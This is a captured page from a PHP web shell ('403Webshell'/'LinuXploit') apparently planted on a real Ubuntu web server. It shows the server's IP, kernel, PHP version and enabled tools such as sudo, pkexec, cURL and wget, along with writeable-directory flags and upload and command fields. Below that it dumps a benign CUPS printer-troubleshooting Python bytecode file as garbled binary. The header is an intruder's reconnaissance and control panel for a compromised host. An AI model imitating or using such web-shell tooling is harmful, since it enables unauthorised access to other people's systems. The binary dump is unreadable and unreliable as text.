403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/troubleshoot/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/troubleshoot/__pycache__/CheckPPDSanity.cpython-310.pyc
o

3�b��@slddlmZddlZddlZddlZddlZddlZddlmZm	Z	ddl
TddlmZGdd�de
�ZdS)	�)�GtkN)�TimedOperation�TimedSubprocess�)�*)�reducec@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�CheckPPDSanitycCs�t�||d�t��}|�d�|�d�t��|_|j�d�|j�	d�|j�
dd�|�|jddd�t��}|�
tjj�tj�td��|_|�|j�|�|ddd�|�||�dS)NzCheck PPD sanity�TrF�Install)�Question�__init__r�VBox�set_border_width�set_spacing�Label�label�
set_line_wrap�set_use_markup�
set_alignment�
pack_start�
HButtonBox�
set_layout�ButtonBoxStyle�START�Button�new_with_label�_�install_button�add�new_page)�self�troubleshooter�vbox�box�r$�?/usr/share/system-config-printer/troubleshoot/CheckPPDSanity.pyr#s


zCheckPPDSanity.__init__cCs�i|_|jj}|ds
dS|j��}|d}d}z#t�d�ttj|d�|_|j��}t|j	|f|d�|_|j��}Wnt
yEYdStjyOYdSw|j�
�d}d}z5t�|�}d|jd<d	d
�}	i}
|jD]}|	|j�}|jD]
}
|	|
j�||
j<qw||
|j<qm|
|jd<WnRt
y�td�}d|jd<z0t|d
d|gdtjtjtjd�|_|j��}||jd<td�|}|dtdd�|d�7}Wnty�td�|}YnwYnw|r�t�|�|du�rN|d�sNt�|�\}}||f|jd<t|�dk�st|�dk�rNtd�}t|�dk�r'zt� �|_!Wng}Yt|�dk�rB|d|_"td�||j"f}|j�#�ntd�|||df}|du�r_|j$�%d|d|�|duS)N�cups_queue_listedF�
cups_queue�)�parent)�argsr)T�cups_printer_ppd_validcSsi}|D]}|j||j<q|S�N)�	defchoice�keyword)�options_list�o�optionr$r$r%�optionsVsz'CheckPPDSanity.display.<locals>.options�cups_printer_ppd_defaultszInvalid PPD File�cupstestppdz-rvv)r)r*�	close_fds�stdin�stdout�stderr�cupstestppd_outputz^The PPD file for printer '%s' does not conform to the specification.  Possible reason follows:�
cSs|d|S)Nr:r$)�x�yr$r$r%�<lambda>rsz(CheckPPDSanity.display.<locals>.<lambda>rz6There is a problem with the PPD file for printer '%s'.�cups_printer_remote�missing_pkgs_and_exeszMissing Printer DriverzGPrinter '%s' requires the %s package but it is not currently installed.zIPrinter '%s' requires the '%s' program but it is not currently installed.z"<span weight="bold" size="larger">z	</span>

)&�answersr!�
get_window�cups�	setServerr�
Connection�op�run�getPPD�RuntimeError�IPPErrorr�hide�PPD�optionGroupsr2�	subgroups�namerr�
subprocess�DEVNULL�PIPEr�OSError�os�unlink�cupshelpers�missingPackagesAndExecutables�len�installpackage�
PackageKit�
packagekit�package�showr�
set_markup)r r@r)rN�tmpf�c�title�text�ppdr2�defaults�group�g�subgroup�result�pkgs�exesr$r$r%�display:s�


�






�

�����

��
��
���zCheckPPDSanity.displaycCs|j�d|j�|_dS)N�clicked)r�connect�install_clicked�button_sigid)r �handler$r$r%�connect_signals�s
�zCheckPPDSanity.connect_signalscCs|j�|j�dSr,)r�
disconnectrn�r r$r$r%�disconnect_signals�sz!CheckPPDSanity.disconnect_signalscCs|jSr,)r@rrr$r$r%�collect_answer�szCheckPPDSanity.collect_answercCs|j��dSr,)rE�cancelrrr$r$r%�cancel_operation�szCheckPPDSanity.cancel_operationcCsJ|j�dg�}|�|j�||jd<z|j�dd|j�WdSYdS)N�packages_installedr)r@�get�appendr[rZ�InstallPackageName)r �buttonrhr$r$r%rm�s
zCheckPPDSanity.install_clickedN)
�__name__�
__module__�__qualname__rrjrprsrtrvrmr$r$r$r%r"s]r)�
gi.repositoryrrBrUrXrSrO�timedopsrr�base�	functoolsrrrr$r$r$r%�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit